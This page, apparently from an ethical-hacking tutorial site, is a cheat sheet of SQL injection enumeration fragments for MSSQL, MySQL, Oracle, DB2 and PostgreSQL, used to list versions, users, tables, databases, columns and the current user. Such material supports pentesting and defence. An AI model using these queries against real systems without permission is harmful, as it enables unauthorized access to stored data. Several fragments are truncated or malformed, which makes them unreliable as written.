Learn Ethical Hacking - No More a Secret

 Common SQL Injection Commands for Backend Databases

Grab version

@@version

Users

name FROM master..syslogins

Tables

name FROM master..sysobjects WHERE xtype = ‘U’

Database

name FROM master..sysdatabases;

Columns

name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘<TABLENAME’)

Running User

DB_NAME()

Grab version

table v$version compare with ‘Oracle%’

Users

* from dba_users

Tables

table_name from all_tables

Database

distinct owner from all_tables

Columns

column_name from all_tab_columns where table_name=‘<TABLENAME>

Running User

user from dual

Grab version

Versionnumber from sysibm.sysversions;

Users

user from sysibm.sysdummy1

Tables

name from sysibm.systables

Database

schemaname from syscat.schemata

Columns

name, tbname, coltype from sysibm.syscolumns

Running User

user from sysibm.sysdummy1

Grab version

@@version

Users

* from mysql.user

Tables

table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’

Database

distinct(db) FROM mysql.db

Columns

table_schema, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ AND table_name == ‘<TABLENAME>’

Running User

user()

Grab version

version()

Users

* from pg_user

Database

datname FROM pg_database

Running User

user;